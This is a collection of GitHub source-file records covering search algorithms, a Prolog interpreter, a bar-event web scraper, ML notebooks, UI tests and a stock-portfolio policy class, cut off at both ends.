[self.goal]\n                        print(path)\n                        return path\n                    if city[0] not in frontier:\n                        frontier.append(city[0])\n            del frontier[0]\n\n    def dfs(self):\n        explored = set()\n        frontier = []   # stack\n        path = []\n        state = self.initial\n        frontier.append(state)\n        while True:\n            if len(frontier) == 0:\n                return None\n            node = frontier[-1]\n            if node not in explored:\n                path += [node]\n            explored.add(node)\n            for city in self.adjlist[node]:\n                if (city[0] not in explored) or (city[0] not in frontier):\n                    if self.goal_test(city[0]):\n                        path += [self.goal]\n                        print(path)\n                        return path\n                    if city[0] not in frontier:\n                        frontier.append(city[0])\n            del frontier[-1]\n\n\n    def gbfs(self):\n        state = self.initial\n        path = [state]\n        totaldistance = 0\n        while self.goal_test_heuristic(state) != 1:\n            minimum = sys.maxsize\n            mincity = ''\n            for city in self.adjlist[state]:\n                print(city[0], self.heuristics[city[0]])\n                if self.heuristics[city[0]] <= minimum:\n                    minimum = self.heuristics[city[0]]\n                    mincity = city\n            state = mincity[0]\n            totaldistance = mincity[1]\n            path.append(state)\n        print(path)\n        return path\n\n    def a_star(self):\n        state = self.initial\n        path = [state]\n        totaldistance = 0\n        while self.goal_test_heuristic(state) != 1:\n            minimum = sys.maxsize\n            mincity = ''\n            for city in self.adjlist[state]:\n                if self.heuristics[city[0]] + city[1] <= minimum:\n                    minimum = self.heuristics[city[0]] + city[1]\n                    mincity = city[0]\n                    mindist = city[1]\n            state = mincity\n            totaldistance += mindist\n            path.append(state)\n        print(path)\n        print(\"Total Distance=\", totaldistance)\n        return path\n\n\nRouteFinding('NS_Dataset_1.csv',)\n","repo_name":"atulvidyarthi29/AI-Algorithms","sub_path":"Assignment 1 - Problem Solving Agent for Route-finding and 8-puzzle problem/routefinding.py","file_name":"routefinding.py","file_ext":"py","file_size_in_byte":4981,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"4994782879","text":"import datetime as dt\nimport re\nfrom itertools import chain\n\nimport requests\nfrom bs4 import BeautifulSoup\nfrom dateutil.relativedelta import relativedelta\n\nfrom donight.event_finder.scrapers.base_scraper import Scraper\nfrom donight.events import Event\nfrom donight.utils import to_local_timezone\n\nTIME_SEPERATOR = ':'\n\nNUMBER_REGEX = '.*?([0-9]+).*?'\nHOUR_REGEX = '.*?([0-9]+:[0-9]+).*?'\n\n\nclass OzenBarScraper(Scraper):\n    \"\"\"\n    This scraper is used to scrape music shows from the OzenBar website.\n    \"\"\"\n    EVENTS_URL = 'http://www.ozenbar.com/wp-admin/admin-ajax.php'\n\n    OZEN_BAR_LOCATION = u'\\u05d0\\u05d5\\u05d6\\u05df\\u05d1\\u05e8'\n\n    def scrape(self):\n        \"\"\"\n        This method scrapes events (mostly music shows) from the OzenBar website.\n        The OzenBar website exposes a php view, that receives a month and a year,\n        and returns an html representation of a list of the events of that month.\n        We send requests for three months back, and a year forward,\n        parse the returned html, and scrape information on the events from that.\n        :return: A list of all the events in the OzenBar.\n        :rtype: list(Event)\n        \"\"\"\n        today = dt.date.today()\n        # TODO: The OzenBar website has a bug, that doesn't account for the year in their calendar,\n        # TODO: we should only send requests for this year, but then what would we do on the end of december ?\n        dates_in_surrounding_months = [today + relativedelta(months=diff)\n                                       for diff in xrange(-1, 5)]\n\n        return list(chain.from_iterable([self.get_events_for_month(date.year, date.month)\n                                         for date in dates_in_surrounding_months\n                                         if date.year == today.year]))\n\n    def get_events_for_month(self, year, month):\n        \"\"\"\n        The OzenBar website exposes a php view, that receives a month and a year,\n        and returns an html representation of a list of the events of that month.\n        This method sends a request for the given month,\n        and parses the returned html into a list of events.\n        :param year: The year to get the events of.\n        :type year: int\n        :param month: The month to get the events of.\n        :type month: int\n        :return: A list of events of that month.\n        :rtype: list(Event)\n        \"\"\"\n        # The month is 0-based, WTF ?\n        request_data = {'action': 'get_event_showpage',\n                        'year': year, 'month': month - 1}\n        response = requests.post(self.EVENTS_URL, data=request_data)\n\n        events_soup = BeautifulSoup(response.content, 'lxml', from_encoding='utf8')\n\n        all_event_elements = events_soup.find_all('li')\n        return [self.create_event_from_element(event_element, year, month)\n                for event_element in all_event_elements]\n\n    def create_event_from_element(self, event_element, year, month):\n        \"\"\"\n        Receives an event element, that should be displayed in the OzenBar website,\n        scrapes out the important data from the html, and returns an Event object representing the event.\n        :param event_element: A beutifulsoup element representing an OzenBar event.\n        :type event_element: bs4.Tag\n        :param year: The year the event is held in.\n        :type year: int\n        :param month: The month the event is held in.\n        :type month: int\n        :return: An event containing all the information from the element.\n        :rtype: Event\n        \"\"\"\n        try:\n            title = event_element.find('h2').text\n            start_time = self.parse_time(event_element, year, month)\n            price = event_element.find('b').text\n            url = event_element.find('a')['href']\n            description = event_element.find('p').text\n            image = event_element.find('img')['src']\n        except Exception:\n            self.logger.exception(\"Failed turning an OzenBar event of month (%s, %s) into an event, \"\n                                  \"the OzenBar event element is: \\n%s\\nException:\", year, month, event_element.prettify())\n            return None\n\n        return Event(title=title, start_time=start_time, location=self.OZEN_BAR_LOCATION,\n                     price=price, url=url, description=description, image=image, owner=None, owner_url=None)\n\n    def parse_time(self, event_element, year, month):\n        \"\"\"\n        The html representing an OzenBar event doesn't hold the time in some plain string.\n        It doesn't hold the year, the month is in hebrew text,\n        and the day and time are scattered across many sub-elements.\n        This method parses the day and time, and receives the month and year,\n        to create a full datetime object for the time of the event.\n        :param event_element: A beutifulsoup element representing an OzenBar event.\n        :type event_element: bs4.Tag\n        :param year: The year the event is held in.\n        :type year: int\n        :param month: The month the event is held in.\n        :type month: int\n        :return:\n        :rtype:\n        \"\"\"\n        date_element = event_element.find('div', {'class': 'date'})\n        day = int(re.findall(NUMBER_REGEX, date_element.text)[0])\n\n        time_element = event_element.find('div', {'class': 'times'})\n        full_time = re.findall(HOUR_REGEX, time_element.text)[0]\n        hour, minute = map(int, full_time.split(TIME_SEPERATOR))\n\n        return to_local_timezone(dt.datetime(year, month, day, hour, minute))\n\n","repo_name":"ehudhala/donight","sub_path":"src/donight/event_finder/scrapers/ozen_bar.py","file_name":"ozen_bar.py","file_ext":"py","file_size_in_byte":5520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"21218815693","text":"# Создание инлайн клавиатуры\n\n\nimport requests\nfrom aiogram.types import InlineKeyboardMarkup, InlineKeyboardButton\n\nbtnBitcoin = InlineKeyboardButton(text=\"/Bitcoin\", callback_data=\"cc/bitcoin\")#cc=cripto curensy\nbtnLitecoin = InlineKeyboardButton(text=\"/Litecoin\", callback_data=\"cc/litecoin\")#cc=cripto curensy\nbtnDogecoin = InlineKeyboardButton(text=\"/Dogecoin\", callback_data=\"cc/dogecoin\")#cc=cripto curensy\n\ncripto_list = InlineKeyboardMarkup(row_width=1)\ncripto_list.insert(btnBitcoin)\ncripto_list.insert(btnLitecoin)\ncripto_list.insert(btnDogecoin)\n\n\n\n\n\n","repo_name":"Kolya128Ski/ppproject","sub_path":"keyBord/admin1.py","file_name":"admin1.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"11148558521","text":"import stanza\n\ndef main():\n    nlp = stanza.Pipeline(lang='en')\n    doc = nlp('No matter where you are:')\n    print(*[f'id: {word.id}\\tword: {word.text}\\thead id: {word.head}\\thead: {sent.words[word.head-1].text if word.head > 0 else \"root\"}\\tdeprel: {word.deprel}' for sent in doc.sentences for word in sent.words], sep='\\n')\n    print(doc.sentences[0].print_dependencies())\n\n\n\ntry:\n    main()\nexcept stanza.pipeline.core.ResourcesFileNotFoundError:\n    stanza.download('en')\n    main()","repo_name":"raknatee/ait_nlu","sub_path":"src/dpt/demo_dpt_1.py","file_name":"demo_dpt_1.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31844638429","text":"#!/usr/bin/env python\n#\n#   p r o l o g 3 . p y\n#\n\n# from \n# http://openbookproject.net/py4fun/prolog/prolog3.html\n# Copyleft 2009 Chris Meyers\n\nimport sys, copy, re\n\nuppercase= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\ninfixOps = (\"*is*\",\"==\",\"<\",\">\",\"+\",\"-\",\"*\",\"/\")\nrules    = []\ntrace    = 0\ngoalId   = 100\nindent   = \"\"\n\nprint_function = None\n\ndef Print(*args, **kwargs):\n    if print_function:\n        print_function(*args, **kwargs)\n    \ndef fatal(self, mesg):\n    sys.stderr.write(\"Fatal: %s\\n\" % mesg)\n\ndef split (l, sep, All=1) :\n    \"Split l by sep but honoring () and []\"\n    nest = 0\n    lsep = len(sep)\n    if l == \"\" : return []\n    for i in range(len(l)) :\n        c = l[i]\n        if nest <= 0 and l[i:i+lsep] == sep :\n            if All : return [l[:i]]+split(l[i+lsep:],sep)\n            else   : return [l[:i],l[i+lsep:]]\n        if c in ['[','('] : nest = nest+1\n        if c in [']',')'] : nest = nest-1\n    return [l]\n\ndef isVariable(term) : \n    return term.args == [] and term.pred[0:1] in uppercase\n\ndef isConstant(term) : \n    return term.args == [] and not term.pred[0:1] in uppercase\n\ndef splitInfix(s) :\n    for op in infixOps :\n        p = split(s,op,All=0)\n        if len(p) > 1 : return (op,p)\n    return None\n\nclass Term :\n    def __init__ (self, s, args=None) :\n        if not args : parts = splitInfix(s)\n        if args :            # Predicate and args seperately\n            self.pred = s\n            self.args = args\n        elif parts :\n            self.args = list(map(Term,parts[1]))\n            self.pred = parts[0]\n        elif s[-1] == ']' :  # Build list \"term\"\n            flds = split(s[1:-1],\",\")\n            fld2 = split(s[1:-1],\"|\")\n            if len(fld2) > 1 :\n                self.args = list(map(Term,fld2))\n                self.pred = '.'\n            else :\n                flds.reverse()\n                l = Term('.',[])\n                for fld in flds : l = Term('.',[Term(fld),l])\n                self.pred = l.pred; self.args = l.args\n        elif s[-1] == ')' :               # Compile from \"pred(a,b,c)\" string\n            flds = split(s,'(',All=0)\n            if len(flds) != 2 : fatal(\"Syntax error in term: %s\" % [s])\n            self.args = list(map(Term,split(flds[1][:-1],',')))\n            self.pred = flds[0]\n        else : \n            self.pred = s           # Simple constant or variable\n            self.args = []\n\n    def __repr__ (self) :\n        if self.pred == '.' :\n            if len(self.args) == 0 : return \"[]\"\n            nxt = self.args[1]\n            if nxt.pred == '.' and nxt.args == [] :\n                return \"[%s]\" % str(self.args[0])\n            elif nxt.pred == '.' :\n                return \"[%s,%s]\" % (str(self.args[0]),str(self.args[1])[1:-1])\n            else :\n                return \"[%s|%s]\" % (str(self.args[0]),str(self.args[1]))\n        elif self.args :\n            return \"%s(%s)\" % (self.pred, \",\".join(map(str,self.args)))\n        else : return self.pred\n\nclass Rule :\n    def __init__ (self, s) :   # expect \"term:-term,term,...\"\n        flds = s.split(\":-\")\n        self.head = Term(flds[0])\n        self.goals = []\n        if len(flds) == 2 :\n            flds = split(flds[1],\",\")\n            for fld in flds : self.goals.append(Term(fld))\n\n    def __repr__ (self) :\n        rep = str(self.head)\n        sep = \" :- \"\n        for goal in self.goals :\n            rep += sep + str(goal)\n            sep = \",\"\n        return rep\n        \nclass Goal :\n    def __init__ (self, rule, parent=None, env={}) :\n        global goalId\n        goalId += 1\n        self.id = goalId\n        self.rule = rule\n        self.parent = parent\n        self.env = copy.deepcopy(env)\n        self.inx = 0      # start search with 1st subgoal\n\n    def __repr__ (self) :\n        return \"Goal %d rule=%s inx=%d env=%s\" % (self.id,self.rule,self.inx,self.env)\n\ndef add (a,b) : return Term(str(int(a.pred)+int(b.pred)),[])\ndef sub (a,b) : return Term(str(int(a.pred)-int(b.pred)),[])\ndef mul (a,b) : return Term(str(int(a.pred)*int(b.pred)),[])\ndef lt  (a,b) : return int(a.pred) <  int(b.pred)\ndef eq  (a,b) : return int(a.pred) == int(b.pred)\n\noperators = {'+': add, '-':sub, '*':mul, '<':lt}\n\n# A Goal is a rule in at a certain point in its computation. \n# env contains definitions (so far), inx indexes the current term\n# being satisfied, parent is another Goal which spawned this one\n# and which we will unify back to when this Goal is complete.\n#\n\ndef unify (src, srcEnv, dest, destEnv) :\n    \"update dest env from src. return true if unification succeeds\"\n    global trace, indent\n    if trace : Print(indent, \"Unify\", src, srcEnv, \"to\", dest, destEnv)\n    indent = indent+\"  \"\n    if src.pred == '_' or dest.pred == '_' : return sts(1,\"Wildcard\")\n\n    if isVariable(src) :\n        srcVal = peval(src, srcEnv)\n        if not srcVal : return sts(1,\"Src unset\")\n        else : return sts(unify(srcVal,srcEnv,dest,destEnv), \"Unify to Src Value\")\n\n    if isVariable(dest) :\n        destVal = peval(dest, destEnv)           # evaluate destination\n        if destVal : return sts(unify(src,srcEnv,destVal,destEnv),\"Unify to Dest value\")\n        else :\n            destEnv[dest.pred] = peval(src,srcEnv)\n            return sts(1,\"Dest updated 1\")      # unifies. destination updated\n\n    elif src.pred      != dest.pred      : return sts(0,\"Diff predicates\")\n    elif len(src.args) != len(dest.args) : return sts(0,\"Diff # args\")\n    else :\n        dde = copy.deepcopy(destEnv)\n        for i in range(len(src.args)) :\n            if not unify(src.args[i],srcEnv,dest.args[i],dde) :\n                return sts(0,\"Arg doesn't unify\")\n        destEnv.update(dde)\n        return sts(1,\"All args unify\")\n\ndef sts(ok, why) :\n    global trace, indent\n    indent = indent[:-2]\n    if trace: Print(indent, [\"No\",\"Yes\"][ok], why)\n    return ok\n\ndef search (term) :\n    global trace\n    # pop will take item from end, insert(0,val) will push item onto queue\n    goal = Goal(Rule(\"all(done):-x(y)\"))      # Anything- just get a rule object\n    goal.rule.goals = [term]                  # target is the single goal\n    queue = [goal]                            # Start our search\n    while queue :\n        c = queue.pop()                       # Next goal to consider\n        if trace : Print(\"Deque\", c)\n        if c.inx >= len(c.rule.goals) :       # Is this one finished?\n            if c.parent == None :            # Yes. Our original goal?\n                if c.env : yield c.env         # Yes. tell user we\n                else     : yield True          # have a solution\n                continue\n            parent = copy.deepcopy(c.parent)  # Otherwise resume parent goal\n            unify (c.rule.head,    c.env,\n                   parent.rule.goals[parent.inx],parent.env)\n            parent.inx = parent.inx+1         # advance to next goal in body\n            queue.insert(0,parent)            # let it wait its turn\n            if trace : Print(\"Queue\", parent)\n            continue\n\n        # No. more to do with this goal.\n        term = c.rule.goals[c.inx]            # What we want to solve\n\n        pred = term.pred                    # Special term?\n        if pred in ['*is*', 'cut','fail','<','=='] :\n            if pred == '*is*' :\n                ques = peval(term.args[0],c.env)\n                ans  = peval(term.args[1],c.env)\n                if ques == None :\n                    c.env[term.args[0].pred] = ans  # Set variable\n                elif ques.pred != ans.pred :\n                    continue                # Mismatch, fail\n            elif pred == 'cut' : queue = [] # Zap the competition\n            elif pred == 'fail': continue   # Dont succeed\n            elif not peval(term,c.env) : continue # Fail if not true\n            c.inx = c.inx + 1               # Succeed. resume self.\n            queue.insert(0,c)\n            continue\n\n        for rule in rules :                   # Not special. Walk rule database\n            if rule.head.pred      != term.pred      : continue\n            if len(rule.head.args) != len(term.args) : continue\n            child = Goal(rule, c)               # A possible subgoal\n            ans = unify (term, c.env, rule.head, child.env)\n            if ans :                    # if unifies, queue it up\n                queue.insert(0,child)\n                if trace : Print(\"Queue\", child)\n\ndef peval (term, env) :      # eval all variables within a term to constants\n    special = operators.get(term.pred)\n    if special :\n        return special(eval(term.args[0],env),eval(term.args[1],env))\n    if isConstant(term) : return term\n    if isVariable(term) :\n        ans = env.get(term.pred)\n        if not ans : return None\n        else       : return eval(ans,env)\n    args = []\n    for arg in term.args : \n        a = eval(arg,env)\n        if not a : return None\n        args.append(a)\n    return Term(term.pred, args)\n\n","repo_name":"Calysto/calysto_prolog","sub_path":"calysto_prolog/prolog.py","file_name":"prolog.py","file_ext":"py","file_size_in_byte":8851,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"60"}
+{"seq_id":"18953136300","text":"\n# coding: utf-8\n\n# In[1]:\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\n\n# In[2]:\n\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\n\n\n# In[3]:\n\nget_ipython().magic(u'matplotlib inline')\n\nimport matplotlib\nimport matplotlib.pyplot as plt\n\nfrom matplotlib.mlab import PCA\n\n\n# In[4]:\n\nprint(tf.__version__)\nprint(np.__version__)\nprint(pd.__version__)\nprint(matplotlib.__version__)\n\n\n# In[5]:\n\nprices = pd.read_csv('stocks.csv')\n\n\n# In[6]:\n\nprices.head()\n\n\n# In[7]:\n\nprices['Date'] = pd.to_datetime(prices['Date'], infer_datetime_format=True)\n\n\n# In[8]:\n\nprices = prices.sort_values(['Date'], ascending=[True])\n\n\n# In[9]:\n\nprices.head()\n\n\n# In[11]:\n\nprices = prices[['ADBE', 'MDLZ', 'SBUX']]\n\n\n# In[12]:\n\nprices.head()\n\n\n# In[13]:\n\nreturns = prices[[key for key in dict(prices.dtypes)     if dict(prices.dtypes)[key] in ['float64', 'int64']]].pct_change()\n\n\n# In[14]:\n\nreturns = returns[1:]\n\n\n# In[15]:\n\nreturns.head()\n\n\n# In[16]:\n\nreturns_arr = returns.as_matrix()[:10]\n\n\n# In[17]:\n\nreturns_arr.shape\n\n\n# In[18]:\n\nfrom sklearn.preprocessing import StandardScaler\nscaler = StandardScaler()\n\n\n# In[19]:\n\nreturns_arr_scaled = scaler.fit_transform(returns_arr)\n\n\n# In[20]:\n\nreturns_arr_scaled\n\n\n# In[21]:\n\nresults = PCA(returns_arr_scaled, standardize=False)\n\n\n# In[22]:\n\nresults.fracs\n\n\n# In[23]:\n\nresults.Y \n\n\n# In[24]:\n\nresults.Wt\n\n\n# In[25]:\n\nnp.dot(results.Y, results.Wt)\n\n\n# In[26]:\n\nreturns_arr_scaled\n\n\n# In[27]:\n\nn_inputs = 3\nn_hidden = 2  # codings\nn_outputs = n_inputs\n\n\n# In[28]:\n\nlearning_rate = 0.01\n\n\n# In[29]:\n\ntf.reset_default_graph()\n\n\n# In[30]:\n\nX = tf.placeholder(tf.float32, shape=[None, n_inputs])\n\n\n# In[31]:\n\nhidden = tf.layers.dense(X, n_hidden)\n\n\n# In[32]:\n\noutputs = tf.layers.dense(hidden, n_outputs)\n\n\n# In[33]:\n\nreconstruction_loss = tf.reduce_mean(tf.square(outputs - X))\n\n\n# In[34]:\n\noptimizer = tf.train.AdamOptimizer(learning_rate)\ntraining_op = optimizer.minimize(reconstruction_loss)\n\n\n# In[35]:\n\ninit = tf.global_variables_initializer()\n\n\n# In[36]:\n\nn_iterations = 10000\n\n\n# In[37]:\n\nwith tf.Session() as sess:\n    init.run()\n\n    for iteration in range(n_iterations):\n        training_op.run(feed_dict={X: returns_arr_scaled})\n    \n    outputs_val = outputs.eval(feed_dict={X: returns_arr_scaled})\n    print(outputs_val)\n\n\n# In[38]:\n\nnp.dot(results.Y[:,[0,1]], results.Wt[[0,1]])\n\n\n# In[ ]:\n\n\n\n\n# In[ ]:\n\n\n\n\n# In[ ]:\n\n\n\n","repo_name":"kaiwaehner/tensorflow-kafka-confluent-google-cloud","sub_path":"resources/Python/StockReturns_PCA_Autoencoders.py","file_name":"StockReturns_PCA_Autoencoders.py","file_ext":"py","file_size_in_byte":2431,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"31487917688","text":"'''\nCreated on Jan 5, 2015\n\n@author: edwingsantos\n'''\n\nfrom OpenGL.GL import *\nfrom OpenGL.GLU import *\nfrom OpenGL.GLUT import *\nimport pygame\nimport pygame.image\nfrom pygame.locals import * \nimport math\nimport pickle\nfrom numpy import *\n\nwidth,height = 1000,747\n\ndef drawBackGround(inimage):\n    \"\"\" \"\"\" \n    bg_image = pygame.image.load(inimage).convert()\n    bg_data = pygame.image.tostring(bg_image, \"RGBX\", 1)\n    \n    glMatrixMode(GL_MODELVIEW)\n    glLoadIdentity()\n    glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n    \n    glEnable(GL_TEXTURE_2D)\n    glTexImage2D(GL_TEXTURE_2D,0,GL_RGBA,width,height,0,GL_RGBA,GL_UNSIGNED_BYTE,bg_data)\n    glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST)\n    glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST)\n    \n    glBegin(GL_QUADS)\n    glTexCoord2f(0.0,0.0); glVertex3f(-1.0,-1.0,-1.0) \n    glTexCoord2f(1.0,0.0); glVertex3f( 1.0,-1.0,-1.0) \n    glTexCoord2f(1.0,1.0); glVertex3f( 1.0, 1.0,-1.0)\n    glTexCoord2f(0.0,1.0); glVertex3f(-1.0, 1.0,-1.0) \n     \n    glEnd()\n    \n    glDeleteTextures(1)\n    \ndef set_projection_from_camera(K):\n    \"\"\" Set view from a camera calibration matrix. \"\"\"\n    glMatrixMode(GL_PROJECTION) \n    glLoadIdentity()\n    fx = K[0,0]\n    fy = K[1,1]\n    fovy = 2*arctan(0.5*height/fy)*180/pi \n    aspect = (width*fy)/(height*fx)\n    # define the near and far clipping planes\n    near = 0.1 \n    far = 100.0\n    # set perspective\n    gluPerspective(fovy,aspect,near,far) \n    glViewport(0,0,width,height)\n\ndef set_modelview_from_camera(Rt):\n    \"\"\" Set the model view matrix from camera pose. \"\"\"\n    glMatrixMode(GL_MODELVIEW) \n    glLoadIdentity()\n# rotate teapot 90 deg around x-axis so that z-axis is up\n    Rx = array([[1,0,0],[0,0,-1],[0,1,0]])\n# set rotation to best approximation\n    R = Rt[:,:3]\n    U,S,V = linalg.svd(R)\n    R = dot(U,V)\n    R[0,:] = -R[0,:] # change sign of x-axis\n# set translation\n    t = Rt[:,3]\n# setup 4*4 model view matrix\n    M = eye(4)\n    M[:3,:3] = dot(R,Rx) \n    M[:3,3] = t\n# transpose and flatten to get column order\n    M = M.T\n    m = M.flatten()\n# replace model view with the new matrix\n    glLoadMatrixf(m)\n    \n    \ndef draw_teapot(size):\n    \"\"\" Draw a red teapot at the origin. \"\"\"\n    glEnable(GL_LIGHTING) \n    glEnable(GL_LIGHT0) \n    glEnable(GL_DEPTH_TEST)    \n    glClear(GL_DEPTH_BUFFER_BIT)\n    glMaterialfv(GL_FRONT,GL_AMBIENT,[0,0,0,0]) \n    glMaterialfv(GL_FRONT,GL_DIFFUSE,[0.5,0.0,0.0,0.0]) \n    glMaterialfv(GL_FRONT,GL_SPECULAR,[0.7,0.6,0.6,0.0]) \n    glMaterialf(GL_FRONT,GL_SHININESS,0.25*128.0) \n    glutSolidTeapot(size)\n\n    ","repo_name":"ehivan24/freenect","sub_path":"Reality.py","file_name":"Reality.py","file_ext":"py","file_size_in_byte":2607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"10385650316","text":"def sum_numbers(text: str) -> int:\n    arr = text.split()\n    result = 0\n    for guess in arr:\n        try:\n            num = int(guess)\n            result += num\n        except ValueError:\n            pass\n    return result\n\n# def sum_numbers(text: str) -> int:\n#     text_list = text.split()\n#     summ = 0\n#     for item in text_list:\n#         if item.isdigit():\n#             summ += int(item)\n#     return summ\n#\n# def sum_numbers(text: str) -> int:\n#     # your code here\n#     return sum([int(i) for i in text.split() if i.isdigit()])\n\n\nif __name__ == '__main__':\n    print(\"Example:\")\n    print(sum_numbers('hi'))\n\n    assert sum_numbers('hi') == 0\n    assert sum_numbers('who is 1st here') == 0\n    assert sum_numbers('my numbers is 2') == 2\n    assert sum_numbers('This picture is an oil on canvas '\n                       'painting by Danish artist Anna '\n                       'Petersen between 1845 and 1910 year') == 3755\n    assert sum_numbers('5 plus 6 is') == 11\n    assert sum_numbers('') == 0\n    print(\"Coding complete? Click 'Check' to earn cool rewards!\")\n","repo_name":"ari10000krat/checkio","sub_path":"Home/Sum Numbers.py","file_name":"Sum Numbers.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31573785175","text":"import time\n\nfrom appium import webdriver\n\ndesired_cap={\n    \"deviceName\": \"NLMR1T0129\",\n    \"platformName\": \"Android\",\n    \"app\": \"C:\\\\Users\\\\indrasen\\\\Documents\\\\Udemy\\\\Android_Demo_App.apk\",\n    \"appPackage\":\"com.code2lead.kwad\",\n    \"appActivity\":\"com.code2lead.kwad.MainActivity\",\n    \"platformVersion\":\"9.0\"\n}\n\ndriver = webdriver.Remote(\"http://localhost:4723/wd/hub\",desired_cap)\n\nele = driver.find_element_by_id(\"com.code2lead.kwad:id/EnterValue\")\nprint(\"Text of the button is:\",ele.text)\nprint(\"Content description is:\",ele.get_attribute(\"content-desc\"))\nele.click()\ntime.sleep(3)\nele_text = driver.find_element_by_xpath(\"//android.widget.EditText[@text='Enter some Value']\")\nele_text.send_keys(\"hello\")\ntime.sleep(2)\nele_text.clear()","repo_name":"indrakumar0812/develop","sub_path":"Appium/Practice/ElementActions.py","file_name":"ElementActions.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29029537284","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jul  6 14:28:34 2021\n\n@author: rodin\n\"\"\"\n\nimport sys\n\ndef get_input():\n    t=eval(sys.argv[1])\n    vo=eval(sys.argv[2])\n    \n    return t, vo\n\ndef printy(t,vo):\n    \n    g=9.81\n    print(vo*t -0.5*g*t**2)\n    \n\nt,vo=get_input()\n\nprinty(t,vo)","repo_name":"Rodi-Filipe/scipro-primer","sub_path":"input/ball_cml.py","file_name":"ball_cml.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70607919552","text":"# -*- coding: utf-8 -*-\r\nfrom accelbrainbase.samplabledata.policy_sampler import PolicySampler\r\nfrom accelbrainbase.iteratabledata.unlabeled_image_iterator import UnlabeledImageIterator\r\n\r\nfrom accelbrainbase.computableloss._mxnet.l2_norm_loss import L2NormLoss\r\n\r\nfrom algowars.portfoliooptimization.volatility_minimization import VolatilityMinimization\r\nfrom algowars.portfoliooptimization.sharpe_ratio_maximization import SharpeRatioMaximization\r\nfrom algowars.exception.stock_history_error import StockHistoryError\r\nfrom logging import getLogger\r\nimport mxnet.ndarray as nd\r\nimport mxnet as mx\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom datetime import date, datetime, timedelta\r\n\r\n\r\nclass PortfolioPercentPolicy(PolicySampler):\r\n    '''\r\n    Policy sampler for the Deep Q-learning to evaluate the value of the \r\n    \"action\" of selecting the image with the highest similarity based on \r\n    the \"state\" of observing an image.\r\n\r\n    The state-action value is proportional to the similarity between the previously \r\n    observed image and the currently selected image.\r\n\r\n    This class calculates the image similarity by mean squared error of images.\r\n    '''\r\n    # Now data.\r\n    __now_date_key = 0\r\n    # Date fraction.\r\n    __date_fraction = 1\r\n    \r\n    # Multi-agent's rebalance policy.\r\n    #   - mean_var:       To solve the Mean-variance minimalization problem.\r\n    #   - sharpe_ratio:   To solve sharpe ratio maximalization problem.\r\n    __rebalance_policy_list = []\r\n\r\n    # rank-1 3D `np.ndarray` of historical data.\r\n    #   - val1: Date key.\r\n    #   - val2: Values(unit prices).\r\n    #   - val3: Volumes.\r\n    # This array must be sorted by `val1` and unique key of each stock.\r\n    #__historical_arr = np.array([])\r\n    \r\n    # rank-1 and 4D `np.ndarray` of stock master data.\r\n    #   - key:  Unique key of each stock.\r\n    #   - val1: Unit prices in relation to the Market valuation.\r\n    #   - val2: commission.\r\n    #   - val3: Tax.\r\n    #   - val4: Ticker.\r\n    __stock_master_arr = np.array([])\r\n    \r\n    # `list` of Possible actions.\r\n    __possible_action_list = [\r\n        # not rebalance.\r\n        0,\r\n        # rebalance (In frist time step, this means build new portofolio.\r\n        1\r\n    ]\r\n    \r\n    # The problability of occurance of rebalancing.\r\n    __rebalance_prob = 0.3\r\n    \r\n    # The number of sampled next actions.\r\n    __next_action_n = 10\r\n    \r\n    # Memo of optimized result.\r\n    __opt_memory = None\r\n\r\n    __generated_historical_arr_list = None\r\n\r\n    __fix_date_flag = False\r\n\r\n    def get_fix_date_flag(self):\r\n        ''' getter '''\r\n        return self.__fix_date_flag\r\n    \r\n    def set_fix_date_flag(self, value):\r\n        ''' setter '''\r\n        self.__fix_date_flag = value\r\n\r\n    fix_date_flag = property(get_fix_date_flag, set_fix_date_flag)\r\n\r\n    __agents_master_arr_dict = {}\r\n\r\n    __update_last_flag = False\r\n\r\n    def get_update_last_flag(self):\r\n        return self.__update_last_flag\r\n    \r\n    def set_update_last_flag(self, value):\r\n        self.__update_last_flag = value\r\n\r\n    update_last_flag = property(get_update_last_flag, set_update_last_flag)\r\n\r\n    def __init__(\r\n        self,\r\n        batch_size,\r\n        agents_master_arr,\r\n        rebalance_policy_list,\r\n        rebalance_sub_policy_list,\r\n        timing_policy_list,\r\n        technical_observer_dict,\r\n        historical_arr,\r\n        stock_master_arr,\r\n        rebalance_prob=0.3,\r\n        next_action_n=10,\r\n        first_date_key=0,\r\n        date_fraction=1,\r\n        generated_stock_df_list=None,\r\n        extractable_generated_historical_data=None,\r\n        ctx=mx.gpu(),\r\n        ticker_list=None,\r\n        start_date=None,\r\n        end_date=None,\r\n        stock_master_df=None,\r\n        daily_stock_master_flag=False,\r\n    ):\r\n        '''\r\n        Initialize stock data.\r\n        \r\n        Args:\r\n            batch_size:                                 `int` of batch size.\r\n            agents_master_arr:                          `np.ndarray` of each multi-agents's money.\r\n                                                        The shape is [batch, agent_i, dim].\r\n                                                        The `dim` consists of the following items.\r\n                                                        - agent key.\r\n                                                    